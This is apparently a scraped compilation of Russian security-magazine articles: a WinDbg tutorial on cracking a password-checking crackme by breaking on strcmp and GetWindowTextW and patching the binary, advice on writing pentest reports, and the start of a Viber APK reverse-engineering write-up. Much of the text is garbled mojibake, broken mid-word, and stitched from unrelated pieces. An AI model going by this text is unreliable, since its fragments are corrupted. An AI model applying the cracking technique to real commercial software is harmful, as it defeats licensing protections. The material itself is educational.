00007ffb`5d3c4ffe 48ffc6      inc  rsi 
00007ffb`5d3c5001 4889742428  mov  qword ptr [rsp+28h], rsi 

Смот рим, что находит ся в регис тре :rsi

dc rsi 
0000002f`10effe30  434e504b 73614b20 73726570 2b2b796b  KPNC 
Kaspersky++ 

Впро чем, это го и сле дова ло ожи дать. Поп робу ем вый ти из текущей фун кции
по Shift-F11. И мы сно ва попадем на эту же стро ку. Вновь пос мотрим содер- 
жимое это го регис тра:

dc rsi 
0000002f`10effe31  20434e50 7073614b 6b737265 0a2b2b79  PNC 
Kaspersky++ 

Ага, один сим вол отку сан. Сле дова тель но, мы находим ся в срав нива ющей
про цеду ре. Вый дем из нее нажати ем на F5, так как при нажатии на Shift-
F11 мы перей дем на сле дующую ите рацию перебо ра сим волов.

00007ffb`5d37566e 77c8      ja   ucrtbase!strcmp+0x8 (7ffb5d375638) 
00007ffb`5d375670 488b01    mov  rax, qword ptr [rcx] 
00007ffb`5d375673 483b040a  cmp  rax, qword ptr [rdx+rcx] 
00007ffb`5d375677 75bf      jne  ucrtbase!strcmp+0x8 (7ffb5d375638) 

И вот мы в теле уже хорошо нам зна комой (раз вивай зри тель ную память!)
про цеду ры срав нения ори гиналь ного и вве ден ного поль зовате лем паролей.
На вся кий слу чай выведем зна чение ука зате лей  и , что бы

узнать, что с чем срав нива ется:

[RDX+RCX] RCX

0:000> dc [RDX+RCX] 
00007ff7`d78f2280  4f47796d 6170444f 6f777373 000a6472  
myGOODpassword..
0:000> dc RCX 
0000002f`10effe30  434e504b 73614b20 73726570 2b2b796b  KPNC 
Kaspersky++ 

Как раз то, что мы ищем!
Ну а осталь ное мы уже про ходи ли. Записы ваем адрес условно го перехо да

(клю чевую пос ледова тель ность для поис ка), с помощью све дений из прош- 
лой статьи находим на носите ле адрес инс трук ции, соот ветс тву ющей спро- 
еци рован ной в памяти, пра вим исполня емый файл, и всё окей.

Âûâîäû
Итак, мы поз накоми лись с одним более или менее уни вер саль ным спо собом
взло ма защит, осно ван ных на срав нении пароля (поз же мы уви дим, что он
под ходит и для защит, осно ван ных на регис тра цион ных номерах). Его
основное дос тоинс тво — прос тота. А недос татки... недос татков у него мно го:

ес ли прог раммист очис тит буфера пос ле срав нения, поиск вве ден ного
пароля ничего не даст, раз ве что оста нут ся сис темные буфера, которые
так прос то не зат решь, но отсле дить переме щения пароля из сис темных
буферов в локаль ные не так-то лег ко;

•

слу жеб ных буферов мно го, и очень труд но опре делить, какой из них «нас- 
тоящий». Прог раммист же может рас полагать буфер и в сег менте дан ных
(ста тичес кий буфер), и в сте ке (локаль ный буфер), и в куче, и даже
выделять память низ коуров невыми вызова ми типа VirtualAlloc или...
да мало ли как разыг рает ся его фан тазия. В резуль тате под час при ходит ся
про сеивать все най ден ные вхож дения тупым перебо ром.

•

ÑÏÎÑÎÁ 2. ÁÐßÊ ÍÀ ÔÓÍÊÖÈÈ ÂÂÎÄÀ ÏÀÐÎËß

Âçëîì ïðèëîæåíèÿ ñ GUI
Нас тала пора раз нооб разить наш объ ект взло ма. Теперь поп робу ем
заломить при ложе ние с гра фичес ким интерфей сом. В качес тве тре ниров ки
раз берем . Это то же самое, что и , толь ко

с гра фичес ким интерфей сом на осно ве MFC Dialog Based App (ищи в ска- 
чива емых матери алах к статье).

passCompare3 passCompare1.exe

Ста рый доб рый MFC Application Wizard

Так же обра ти вни мание на то, что работа с тек стом в этом при мере орга- 
низо вана по-дру гому. Если рань ше мы работа ли с базовым типом char, то
здесь исполь зует ся обер тка — класс CString, что, ско рее все го, при взло ме
про фес сиональ ных при ложе ний будет встре чать ся нам чаще. Кро ме двух кно- 
пок, иду щих в заготов ке по умол чанию, добавь на фор му эле мент Edit Control.
Свя жи его с перемен ной  и соз дай событие обра бот ки нажатия

на кноп ке OK. Это и будет клю чевая про цеду ра при ложе ния, про веря ющая
вве ден ный пароль на равенс тво эта лон ному:

m_password

    const CString PASSWORD = _T("myGOODpassword");
…

 void CpassCompare3Dlg::OnBnClickedOk()
{
      CString str = NULL;

m_password.GetWindowText(str);
 if (PASSWORD.Compare(str))

{
   MessageBox(_T("Wrong password"));
     m_password.SetSel(0, -1, 0);
   return;
}
else
{
   MessageBox(_T("Password OK"));
}
CDialogEx::OnOK();
}

Ка жет ся, никаких сюр при зов не пред видит ся.
При всем желании метод пря мого поис ка пароля в памяти эле ган тным

наз вать нель зя, да и прак тичным тоже. А собс твен но, зачем искать сам
пароль, спо тыка ясь о бес порядоч но раз бро сан ные буфера, ког да мож но пос- 
тавить бряк непос редс твен но на фун кцию, его счи тыва ющую? Мож но и так...
да вот уга дать, какой имен но фун кци ей раз работ чик взду мал читать пароль,
вряд ли будет нам ного про ще.

На самом деле одно и то же дей ствие может быть выпол нено все го лишь
нес коль кими фун кци ями и их перебор не зай мет мно го вре мени. В час тнос ти,
содер жимое окна редак тирова ния обыч но добыва ется при помощи либо
фун кции  (чаще все го), либо фун кции  (а

это зна читель но реже). Все вер сии Windows NT пред почита ют работать
с юни кодом, поэто му на кон це фун кций работы с тек стом  (wide), а не 
(ASCII).

GetWindowTextW GetDlgItemTextW

W A

Раз уж речь заш ла об окнах, запус тим наш GUI «кряк мис» и уста новим точ- 
ку оста нова на фун кцию  — .
Хотя эта фун кция сис темная, точ ка оста нова не будет гло баль ной и не зат- 
ронет все при ложе ния в сис теме, а будет фун кци они ровать толь ко в кон тек- 
сте дан ного при ложе ния.

GetWindowTextW bp User32!GetWindowTextW

Вво дим какой-нибудь пароль ( , по обык новению),

нажима ем кла вишу Enter, и отладчик незамед литель но всплы вает:

KPNC Kaspersky++

USER32!GetWindowTextW: 
00007ffc`a2d7c2f0 48895c2408  mov     qword ptr [rsp+8], rbx 
00007ffc`a2d7c2f5 4889742418  mov     qword ptr [rsp+18h], rsi 
00007ffc`a2d7c2fa 57          push    rdi 
00007ffc`a2d7c2fb 4156        push    r14 
00007ffc`a2d7c2fd 4157        push    r15 
00007ffc`a2d7c2ff 4883ec60    sub     rsp, 60h 
00007ffc`a2d7c303 4d63f0      movsxd  r14, r8d 
00007ffc`a2d7c306 488bf2      mov     rsi, rdx 
00007ffc`a2d7c309 4c8bc9      mov     r9, rcx 
00007ffc`a2d7c30c 4885d2      test    rdx, rdx 

Как вид но, мы попали в фун кцию . Из нее надо вый ти

на более высокий уро вень, нажав Shift-F11. Теперь мы попали в фун кцию
:

USER32!GetWindowTextW

mfc140u!CWnd::GetWindowTextW

00007ffc`3da173ca ff1550ca0300   call    qword ptr [mfc140u!__imp_
GetWindowTextW (7ffc3da53e20)] 
00007ffc`3da173d0 488b0b         mov   rcx, qword ptr [rString{->m_
pszData} (rbx)] 
00007ffc`3da173d3 4885c9         test    psz (rcx), psz (rcx) 

Те перь надо еще пот расси ровать эту фун кцию нажати ями Shift-F11. Наконец,
мы попадем в фун кцию, которая явля ется обра бот чиком нажатия кноп ки OK
на фор ме или Enter на кла виату ре:

passCompare3!CpassCompare3Dlg::OnBnClickedOk
00007ff6`daae1746 488d8b78010000   lea     rcx, [this->m_
password(??) (rbx+178h)] 
00007ff6`daae174d 488d542420       lea     rdx, [str{.m_
pszData} (rsp+20h)] 
00007ff6`daae1752 ff15581c0000 call qword ptr [passCompare3!__imp_?
GetWindowTextW@CWnd@@QEBAXAEAV?$CStringT@_WV?$StrTraitMFC_DLL@_
WV?$ChTraitsCRT@_W@ATL@@@@@ATL@@@Z (7ff6daae33b0)] 
00007ff6`daae1758 488b542420    mov     rdx, qword ptr [str{.m_
pszData} (rsp+20h)] 
00007ff6`daae175d 488d0d14630000 lea rcx, [passCompare3!PASSWORD{.m_
pszData} (7ff6daae7a78)] 
00007ff6`daae1764 ff154e1c0000 call qword ptr [passCompare3!__imp_?
Compare@?$CStringT@_WV?$StrTraitMFC_DLL@_WV?$ChTraitsCRT@_
W@ATL@@@@@ATL@@QEBAHPEB_W@Z (7ff6daae33b8)] 

Сей час мы можем узнать зна чение в регис тре RAX:

0:000> dc rax 
000001a3`6e4405b8  0050004b 0043004e 004b0020 00730061  K.P.N.C. .K.
a.s. 
000001a3`6e4405c8  00650070 00730072 0079006b 002b002b  p.e.r.s.k.
y.+.+. 

Хо рошо, видим вве ден ный пароль. Есть кон такт! Толь ко почему пос ле каж- 
дого сим вола сто ит точ ка? Думаю, ты уже догадал ся, что она озна чает двух- 
бай товую при роду сим вола перед ней. Отхлеб нув пив ка, ква са или лимона да
(по желанию), вспо мина ем, что, хоть класс CString и может работать с типами
char (одно бай товое пред став ление сим волов) и wchar_t (мно гобай товое
пред став ление до четырех байт, то есть юни код в UTF-8, -16 или -32),
это зависит от нас тро ек ком пилято ра. А имен но от того, какой сим вол вклю- 
чен: MBCS — char, UNICODE — wchar_t. Чаще все го исполь зует ся вто рой
набор сим волов, так как по умол чанию вклю чены имен но широкие сим волы.

Сей час надо акку рат но трас сировать прог рамму, по F8 зай ти внутрь сле- 
дующей фун кции. По дороге мы обна ружим, что наш пароль занял допол- 
нитель ные буфера, непонят но зачем. А сле дующая фун кция, куда мы про- 
валим ся, срав нива ет стро ки:

mfc140u!ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::
ChTraitsCRT<wchar_t> > >::Compare: 
00007ffc`3d78dcf0 4883ec28       sub     rsp, 28h 
00007ffc`3d78dcf4 4885d2         test    psz (rdx), psz (rdx) 
00007ffc`3d78dcf7 740e           je      mfc140u!ATL::CStringT<wchar_
t, StrTraitMFC_DLL<wchar_t, ATL::ChTraitsCRT<wchar_t> > >::
Compare+0x17 (7ffc3d78dd07) 
00007ffc`3d78dcf9 488b09  mov  this (rcx), qword ptr [this (rcx)] 
00007ffc`3d78dcfc 4883c428       add     rsp, 28h 
00007ffc`3d78dd00 48ff25a16a2c00 jmp qword ptr [mfc140u!__imp_
wcscmp (7ffc3da547a8)] 
00007ffc`3d78dd07 b905400080     mov     ecx, 80004005h 
00007ffc`3d78dd0c e8bb56ffff    call    mfc140u!ATL::
AtlThrowImpl (7ffc3d7833cc) 
………… 

Об рати вни мание вот на этот опе ратор из лис тинга:

mov  this (rcx), qword ptr [this (rcx)] 

Пос ле его выпол нения зна чение в регис тре RCX будет ука зывать на буфер
с эта лон ным паролем:

0:000> dc rcx 
00000247`160d3ae8  0079006d 004f0047 0044004f 00610070  m.y.G.O.O.D.
p.a. 
00000247`160d3af8  00730073 006f0077 00640072 00610000  s.s.w.o.r.d..
.a. 

И прав да! Инту иция нас не под вела, эта лон ный пароль тут как тут.

Ра бота при ложе ния

Вве ден ная поль зовате лем стро ка и эта лон ный пароль — как на блю деч ке
с голубой каемоч кой! Замеча тель но! Вот так, безо вся ких лож ных сра баты- 
ваний, эле ган тно, быс тро и кра сиво, мы победи ли защиту!

Этот спо соб уни вер сален, и впос ледс твии мы еще не раз им вос поль зуем- 
ся. Вся соль — опре делить клю чевую фун кцию защиты и пос тавить на нее
бряк. В Windows все попол зно вения (обра щения к клю чево му фай лу, реес тру
и про чее) сво дят ся к вызову фун кций API, перечень которых хоть и велик,
но все же конечен и известен заранее.
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ВЗЛОМ

Пен тест, то есть про вер ка инфраструк туры
ком пании на воз можность хакер ско го про- 
ник новения, — это рас простра нен ная услу- 
га, которую пре дос тавля ют ИБ-ком пании.
Одна ко пен тесты быва ют очень раз ными.
В этой статье я рас ска жу, как, на мой
взгляд, дол жны и как не дол жны выг лядеть
резуль таты таких работ. Думаю, мои советы
при годят ся и заказ чикам, и исполни телям.

На мысль написать такой текст меня навел ком мента рий заказ чика, оставлен- 
ный пос ле завер шения про екта. Он демонс три рует, какие, казалось бы,
обыч ные вещи могут впе чат лить и порадо вать.

«

»

Ó íàñ áûëà óÿç âèìàÿ áèá ëèîòå êà ñ âûñîêèì CVSS, è ïðè ýòîì îíà ëåã- 
êî ýêñ ïëó àòè ðîâà ëàñü. PoC íå áûëî, íî ñîñ òàâèòü åãî íå ïðîá ëåìà —
êîë ëåãè èç Êèòàÿ îñòà âèëè î÷åíü õîðîøèå îïè ñàíèÿ ê CVE, çà íåäåëü- 
êó ìîæ íî çàèìåòü áîåâîé îáðà çåö. Íî ìû çíà ëè, ÷òî áëà ãîäà ðÿ
íàøèì óñè ëèÿì ýòà óÿç âèìîñòü áûëà íåï ðèìåíè ìà.

Ìû æäà ëè îò÷åò ñ êðè ÷àùè ìè òåãàìè CRITICAL. Íî óâè äåëè ýòó áèá- 
ëèîòå êó ñ ìàð êåðîì LOW. Èñïîëíè òåëè ïðåê ðàñíî ïîíèìà ëè, êàê ìû
çàùèòè ëèñü, ñàìè æå îïè ñàëè ïðè ÷èíó, ïî êîòîðîé ýòà óÿç âèìîñòü
íå ìîæåò áûòü ïðî ýêñ ïëó àòè ðîâà íà, è êîð ðåê òíî îòìå òèëè, ÷òî áèá- 
ëèîòå êà óÿç âèìà è åå íóæ íî îáíî âèòü, êîã äà ïîÿâèò ñÿ ïàò÷.

Ïîñ ëå òàêîãî ïîíèìà åøü:
1. Òâîå âðå ìåí íîå ðåøåíèå ïðîá ëåìû êîì ïåòåí òíî, ðàç ñòî ðîí íÿÿ

êîìàí äà ïðèø ëà ê òîìó æå âûâîäó.
2. Èñ ïîëíè òåëü íå ïðîñ òî èñïîëü çîâàë êàêèå òî àíà ëèçà òîðû,

íî îñìûñëèë ïðî èñõî äÿùåå, ïðî àíà ëèçè ðîâàë ïîòîêè äàí íûõ,
ñîïîñ òàâèë ëîãèêó óÿç âèìîñ òè è áèç íåñ ïðî öåñ ñû. Ïîëó÷èâ òàêîå,
âåðèøü, ÷òî îí áûë íàñ òîëü êî æå äîòîøåí è â äðó ãèõ ïàðàìåò ðàõ
îöåí êè.

ÏÐÎÃÐÀÌÌÀ ÌÈÍÈÌÓÌ

Итак, что же нуж но делать, что бы заказ чики были счас тли вы и писали при- 
ятные отзы вы?
1. Са мый важ ный аспект — вни кать в логику работы. Не прос то ска ниро вать

инфраструк туру, валиди ровать баги руками, что-то тыкать и фаз зить,
но еще и понять, как работа ет сер вис, пос мотреть потоки дан ных и вза- 
имо дей ствие с осталь ными мик росер висами и интегра циями.

2. Пок рывать все сер висы авто мати зиро ван ными средс тва ми.
3. Ва лиди ровать все уяз вимос ти. Не прос то отда вать репор ты ска нера,

обер нутые в логоти пы тво ей ком пании, а обя затель но про верять, что каж- 
дая най ден ная уяз вимость реаль на.

4. Кор ректи ровать уро вень опас ности уяз вимос тей сог ласно кри тич ности
сер виса и воз можнос ти экс плу ата ции. Даже если ска неры пишут, что уяз- 
вимость кри тич на, нуж но учи тывать обсто ятель ства: мож но ли ее про экс- 
плу ати ровать, есть ли реаль ные уяз вимос ти с PoC, кри тич ный ли сер вис
и так далее.

5. Весь чек-лист прой ден в руч ном режиме. 90% работы над про ектом дол- 
жно занимать руч ное тес тирова ние, ресерч, попыт ки экс плу ата ции имен но
в руч ном режиме.

ÊÀÊ ÏÈÑÀÒÜ ÎÒ×ÅÒ

От чет — это резуль тат про екта, ради него все и дела ется, поэто му пере оце- 
нить его зна чение вряд ли воз можно. В хорошем отче те дол жны быть:
1. Еди ный стиль изло жения, отсутс твие грам матичес ких и сти лис тичес ких

ляпов, опи сание рисун ков, схем, таб лиц. Что бы всем было при ятно смот- 
реть на отчет и содер жание было пре дель но ясным.

2. Де таль ное опи сание недос татков. Не прос то общее опи сание, а для кон- 
крет ных слу чаев: где наш ли уяз вимость, в каком парамет ре или модуле.

3. При меры экс плу ата ции. Показа ны най ден ные баги, прик репле на кар тинка
как пруф. Чита ющий может пов торить дей ствие с кар тинки. Так же
не помеша ет деталь ное опи сание про цес са тес тирова ния, ссыл ки на базы
уяз вимос тей ФСТЭК Рос сии или тех ник MITRE.

4. Ре комен дации так же про писа ны для кон крет ных слу чаев, опи саны точеч- 
ные советы, имен но для того фрей мвор ка и сте ка тех нологий, который
исполь зует заказ чик. Нет двус мыслен ности. Есть раз ные вари анты устра- 
нения.

Нап ример, ты нашел уяз вимость, которая поз воля ет переби рать поль- 
зовате лей. Сис тема реаги рова ла по-раз ному в тех слу чаях, ког да поль- 
зователь сущес тву ет и ког да его нет. Мож но дать общую рекомен дацию —
внед рить CAPTCHA-тест. Но если зна ешь, что у заказ чика исполь зует ся,
нап ример, Django, то мож но дать рекомен дации имен но для это го фрей- 
мвор ка.

5. Ре зюме работы с циф рами, рекомен даци ями и выводом.
6. От чет офор млен на осно ве воп росов, задан ных заказ чиком перед про- 

ектом. Затем идет то, что спе циалис ты счи тают важ ным и релеван тным.
Если воп росов не было, то по иерар хии кри тич ности всех находок.

7. При веде на ана лити ка: количес тво уяз вимос тей, хос тов, которые были
про вере ны, или топ уяз вимос тей в ком пании, или динами ка по пре дыду- 
щим пен тестам и вре мени жиз ни уяз вимос тей, если есть такая воз- 
можность.

8. Мо дели рова ние угроз поведе ния зло умыш ленни ка. Нуж но показать, что
слу чит ся, если зло умыш ленник про экс плу ати рует уяз вимость. Нап ример,
уяз вимость с SMS-спа мом, как пра вило, заказ чики не понима ют. Поэто му
нуж но показать, в чем ее риск, объ яснить, что про вай дер поз воля ет круп- 
ным ком пани ям отправ лять до 3 тысяч SMS в секун ду. На отправ- 
ку 200 зап росов ком пания тра тит 400 руб лей в секун ду. Если ата ка длит ся
час, то зло умыш ленник сож жет поч ти 1,5 мил лиона руб лей с балан са ком- 
пании.

×ÒÎ ÂÀÆÍÎ ÎÁÑÓÄÈÒÜ

Пен тест — это такая услу га, где резуль тат силь но зависит не толь ко
от исполни теля, но и от заказ чика, поэто му важ но догово рить ся на берегу.
Вот спи сок воп росов, которые, на мой взгляд, обя затель но сто ит обсу дить.

Инс тру мен тарий исполни теля не будет огра ничен.•
За каз чик не будет пре пятс тво вать про веде нию пен теста, если не ого воре- 
ны какие-то исклю чения (не отклю чать сер висы, не пат чить «на лету» и так
далее).

•

Нуж но опре делить чет кие цели работ: получе ние прав адми нис тра тора
на такой-то сис теме и так далее.

•

Обя затель но опре делить ско уп работ.•
Оп ределить модель наруши теля.•
За каз чик дол жен отли чать пен тест от ана лиза защищен ности, ска ниро-
вания.

•

Сто ит сос тавить план работ с про межу точ ными эта пами. Нап ример, каж- 
дую неделю узна вать резуль таты и пла ны на сле дующую неделю.

•

За каз чикам могу пореко мен довать выбирать исполни телей, для которых пен- 
тест — про филь ная услу га (если неп рофиль ная, ком пания ско рее отдаст
выпол нение на аут сорс). Не помеша ет и про вес ти с исполни телем интервью,
выяс нить опыт коман ды, расс про сить о том, как устро ен про цесс тес тирова- 
ния. Быва ет полез но ротиро вать исполни телей или хотя бы про сить менять
сос тав коман ды, что бы был све жий взгляд на одну и ту же инфраструк туру.

ÊÀÊ ÍÅ ÎÏÎÇÎÐÈÒÜÑß

Есть целый класс так называ емых «уяз вимос тей» вро де под дер жки ран них
вер сий про токо лов SSL и TLS, не выс тавлен ного на сес сион ную куки фла га
безопас ности и про чих сооб щений, которые авто мати чес ки генери руют ска- 
ниру ющие движ ки.

Ес ли в отче те перечис лены такие уяз вимос ти, то к ним нуж ны опи сания,
которые будут пояс нять, почему та или иная строч ка вклю чена в отчет.
Не помеша ет и опи сание того, как уяз вимость вли яет на сис тему, какие нуж ны
усло вия для ее экс плу ата ции и какая пред полага ется модель наруши теля.

Без таких пояс нений отчет мож но счи тать фор маль ной отпиской. Исполни- 
тель не пот рудил ся при мерить най ден ное к жиз ни и дать более глу бокую
оцен ку. Вывали вать в отче те авто мати чес ки сге нери рован ный текст не нуж но.

Вряд ли пораду ют заказ чика и корот кие фор маль ные опи сания уяз вимос- 
тей без пру фов и при меров экс плу ата ции. Даже спе циалист по ним вряд ли
пой мет суть бага и не смо жет при менить резуль тат тес тирова ния в сво ей
работе.

Ес ли заказ чик не получа ет отве ты на глав ные воп росы о том, что угро жает
ком пании, смысл про екта тоже теря ется, поэто му отчет без опи сан ных рис- 
ков — не отчет.

Пло хо, ког да нет кон крет ных рекомен даций. Нап ример, понят но, что надо
огра ничить количес тво зап росов, но непонят но, как это сде лать. Даже если
заказ чик не вос поль зует ся рекомен даци ями, нуж но показать при мер, как это
мож но сде лать в его слу чае.

В при мере спра ва добав лены рис ки, при мер экс плу ата ции, ответ веб-сер-
вера и тех ничес кое опи сание того, к чему при ведет экс плу ата ция уяз вимос ти.
Даны рекомен дации, которые объ ясня ют, как огра ничить количес тво зап- 
росов. То есть для заказ чика сос тавле но готовое решение, в котором учтен
его тех нологи чес кий стек.

EXECUTIVE SUMMARY ÊÀÊ ÈÍÑÒÐÓÌÅÍÒ

У нас был такой кейс. Мы прод вигались по сети и попали в инте рес ную под- 
сеть, к которой была под клю чена машина с очень злой уяз вимостью и сес- 
сией дос таточ но зна чимо го челове ка в домене. Экс плу ата цию мы про води ли
по сог ласова нию, поэто му поз вонили девоп су (не хотелось ронять ему сер- 
вис сво им экс пло итом и пре рывать про цес сы), опи сали ситу ацию и свои мыс- 
ли, мотивы. На что получи ли ответ: «Да, обя затель но это делай те, я даю доб- 
ро! И незави симо от резуль тата, пожалуй ста, опи шите это в отче те — я уже
год про шу выделить ресур сы на то, что бы эту под сеть перес тро ить, но меня
ник то не слу шает. Если получит ся, зна чит, меня наконец-то услы шат».

В течение сле дующих пят надца ти минут мы получи ли пра ва адми нис тра- 
тора домена. Из этой исто рии и опы та работы с боль шими ком пани ями с глу- 
бокой субор динаци ей мы сде лали вывод: даже ока зывая слож ную тех ничес- 
кую услу гу, общать ся сле дует на язы ке денег.

Вла дель цы биз неса мыс лят при былью, в этом пла не информа цион ная
безопас ность — прос то тра ты. Но избе жать этих трат все рав но не вый дет.
Зап росы к началь ству со сто роны ИБ неред ко сфо куси рова ны на локаль ной
задаче, выраже ны слож ным тех ничес ким язы ком и тре буют допол нитель ной
«рас шифров ки», а зна чит, и допол нитель ной аргу мен тации.

Íå íóæ íî ãîâîðèòü «òóò óÿç âèìîñòü, ýòî îïàñ íî», íóæ íî

ãîâîðèòü «åñëè ìû ñåé ÷àñ íå âëî æèì ñþäà íåáîëü øèå äåíü ãè, òî

êîã äà íàñ ïðîáü þò — ìû ïîòåðÿ åì áîëü øèå äåíü ãè, ðåøàé òå

ñàìè».

Да, это тре бует под готов ки и ана лиза акти вов, но бла года ря такому под- 
ходу проб лемы недос татка бюд жета или ресур сов реша ются гораз до быс- 
трее. Окон чание пен теста — это все го лишь начало боль шой работы
для наших кол лег. Они будут занимать ся устра нени ем най ден ных уяз вимос- 
тей, пос тро ением новых ИБ-про цес сов и про чими изме нени ями, нап равлен- 
ными на защиту сис тем.

Так что боль шим плю сом для пен теста ста нет такое сам мари, что бы совет
дирек торов лег ко его понял и захотел пой ти навс тре чу отде лу безопас ности.
Еще луч ше, если твоя ком пания в сос тоянии про вес ти защиту про екта биз- 
нес-заказ чику и зас тавить биг-бос сов быс тро понять, нас коль ко все уяз вимо
и что нуж но делать, что бы изме нить это.

×ÒÎ ÍÓÆÍÎ ÄËß ÕÎÐÎØÅÃÎ EXECUTIVE SUMMARY?

1. Кон кре тика и циф ры. Пос коль ку этот раз дел чита ют менед жеры, зачас тую
нез накомые с тех ничес кими тер минами, важ но доход чиво донес ти биз- 
нес-рис ки, к которым ведут уяз вимос ти.

2. Объ яснить, каким был перечень работ: нап ример, сде лали пен тест,
фишинг и так далее. Рас ска зать, зачем это было нуж но и к каким выводам
при вело. Схе мы, кар тинки, нап ример ход пен теста вер хне уров нево, «для
самых малень ких».

3. Не боль шая ана лити ка, нап ример количес тво кри тич ных уяз вимос тей, вре- 
мя, которое пот ребу ется зло умыш ленни ку для ком про мета ции
инфраструк туры, уро вень зло умыш ленни ка, необ ходимый для реали зации
всех атак, сколь ко человек в ком пании попалось на фишинг.

4. Де ком позиция рис ков: какой ущерб может нанес ти реали зация ата ки,
к чему может при вес ти успешный фишинг и так далее.

5. И конеч но, отра бот ка воз ражений. Рекомен дации, понят ные всем. Нап- 
ример: внед рение таких-то средств защиты поз волит избе жать реали- 
зации ата ки № 1, неп рерыв ный ана лиз защищен ности поз волит не допус- 
тить событий № 2 и № 3.

ÂÛÂÎÄÛ

Ес ли ты работа ешь в ИБ-ком пании, наде юсь, мои советы помогут тебе усо- 
вер шенс тво вать ваш про цесс и начать радовать кли ентов еще боль ше. Если
же ты тру дишь ся на сто роне потен циаль ного заказ чика, то, думаю, уже понял,
на что нуж но ори енти ровать ся при заказе услу ги. Пом ни: чем глуб же пен- 
тестер пог рузит ся в осо бен ности инфраструк туры и чем луч ше будет их учи- 
тывать, тем боль ше будет отда ча.

mailto:a.gerasimov@awillix.com
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ВЗЛОМ

Как-то раз при устрой стве на работу мне
дали весь ма инте рес ное задание — про- 
ана лизи ровать Android-при ложе ние Viber.
В нем тре бова лось най ти уяз вимос ти с пос- 
леду ющей экс плу ата цией. На этом при мере
рас ска жу о под ходе к ана лизу реаль ного
при ложе ния с получе нием кон крет ных
резуль татов за корот кий срок. Если прой ти
все эти эта пы, то впол не воз можно, что
тебе удас тся най ти в Viber 0-day ;)

INFO

Чи тая эту статью, дер жи в уме, что мы огра ниче- 
ны по вре мени, поэто му отдель ные под ходы
к ана лизу, которые мож но было бы при менить,
будут упо мяну ты лишь всколь зь. И еще: я спе- 
циаль но оста вил опи сание всех сво их оши бок,
которые допус тил при ана лизе. Как говорит ся,
умный учит ся на чужих ошиб ках.

ÖÅËÜ

Ис кать ошиб ки в при ложе нии для Android мож но по-раз ному, так же как и
выбирать мес та для это го самого поис ка. В рам ках этой статьи мы выберем
цель пониже уров нем — раз деля емые биб лиоте ки, то есть ори енти ровать ся
будем на баги memory corruption. Код на Java рас смот рим толь ко в слу чае,
ког да необ ходимо выяс нить его связь с раз деля емы ми биб лиоте ками.

Для ана лиза APK исполь зовались стан дар тные инс тру мен ты из 
, поэто му я не буду заос трять вни мание на их наз- 

вании, если того не тре бует кон текст.

лю бого
пуб лично го awesome list

Це левой APK был получен с . К выбору источни ка
APK сто ит отно сить ся серь езно, пос коль ку неред ко сайт может хра нить:

од ного из mirror-сай тов

уже уста рев шие вер сии;•
толь ко вер сии для ненуж ных плат форм и архи тек тур;•
мо дифи циро ван ные при ложе ния (воз можно, с содер жани ем мал вари).•

На дан ном эта пе име ет смысл про вес ти реког носци ров ку цели: изу чить ,
а затем про вес ти binary diffing ана лиз 1-day-уяз вимос тей.

CVE

ÐÀÇÄÅËßÅÌÛÅ ÁÈÁËÈÎÒÅÊÈ

Пос ле рас паков ки APK в дирек тории  мож но обна ружить фай лы биб- 
лиотек: они не запако ваны, не зашиф рованы, не обфусци рова ны, не нак рыты
про тек тором, что облегча ет нашу задачу в нес коль ко раз. В защиту Viber могу
ска зать, что обыч но мес сен дже ры не пыта ются при менять пас сивные меры
защиты от ана лиза биб лиотек, у WhatsApp лишь исполь зует ся кас томный упа- 
ков щик, но и то — не ради защиты. Для ана лиза я выб рал вер сии биб лиотек
для архи тек туры x86_64 по сле дующим при чинам:

lib

боль шее количес тво инс тру мен тов для этой архи тек туры;•
луч ше деком пиляция (это, конеч но, спор но, так как мно гое зависит
от выбора инс тру мен та);

•

воз можность эму ляции на более высоких ско рос тях (моя хост-машина
име ет архи тек туру x86_64);

•

воз можность час тично го ана лиза на хост-машине в обход эму лято ра;•
на дан ном эта пе нет задачи писать кон крет ный экс пло ит для пок рытия
боль шего чис ла целей, соот ветс твен но, ARM-архи тек туры мож но отбро- 
сить, если это пот ребу ется.

•

По нача лу для повер хностно го ана лиза исполь зовались такие инс тру мен ты,
как IDA Pro, Binary Ninja и rizin (Ghidra не взял, потому что задачу сле дова ло
решить быс тро): заг ружа ешь биб лиоте ку, смот ришь экспор тирован ные сим- 
волы, находишь стро ки, нем ного чита ешь код. Но затем я перешел к oneline-
коман де — по сути, боль шего мне и не тре бова лось: 

.

readelf -W --
demangle --symbols $(LIBRARY_SO) | tail -n +4 | sort -k 7 | less

Пос ле иден тифика ции JNI-фун кций из биб лиотек про хожусь /
по smali-коду и нахожу фай лы, где содер жится объ явле ние native-фун кций:

rg grep

 

 

 

$ readelf -W --demangle --symbols libnativehttp.so | tail -n +4 | sort -
k 7 | rg "FUNC. " | less 
    33: 0000000000001bb5    55 FUNC    GLOBAL DEFAULT   13 
Java_com_viber_libnativehttp_HttpEngine_nativeCreateHttp 
    34: 0000000000001bec    15 FUNC    GLOBAL DEFAULT   13 
Java_com_viber_libnativehttp_HttpEngine_nativeDelete 
    38: 0000000000001bfb   622 FUNC    GLOBAL DEFAULT   13 
Java_com_viber_libnativehttp_HttpEngine_nativeTest 
    44: 00000000000018c3   109 FUNC    GLOBAL DEFAULT   13 
Java_com_viber_libnativehttp_NativeDownloader_nativeOnConnected 
    39: 00000000000015e8   366 FUNC    GLOBAL DEFAULT   13 
Java_com_viber_libnativehttp_NativeDownloader_nativeOnData 
    35: 0000000000001b0c    40 FUNC    GLOBAL DEFAULT   13 
Java_com_viber_libnativehttp_NativeDownloader_nativeOnDisconnected 
    40: 0000000000001930   476 FUNC    GLOBAL DEFAULT   13 
Java_com_viber_libnativehttp_NativeDownloader_nativeOnHead

Java_.

$ rg "native.*nativeCreateHttp" 
app/src/main/java/com/viber/libnativehttp/HttpEngine.java 
9:    public static native long nativeCreateHttp();

Даль ше нужен повер хностный ана лиз, что бы выявить, во-пер вых, биб лиоте- 
ку-цель, во-вто рых, ком понен ты open source, иссле дова ние которых пред сто- 
ит сде лать поз днее. Ана лизи ровать мож но с помощью того же readelf или в
Rizin либо Binary Ninja: гуг лим имя экспор тирован ного сим вола и про водим
повер хностный реверс-инжи ниринг, что бы вос создать общую кар тину фун- 
кций биб лиоте ки.

Ïðåäâàðèòåëüíûå ðåçóëüòàòû àíàëèçà
Ни же пред став лен спи сок раз деля емых биб лиотек с крат ким опи сани ем фун- 
кций или ссыл кой на про ект с откры тыми исходни ками.

 — C++ standard library.• libc++_shared.so

, ,
,  — 

.

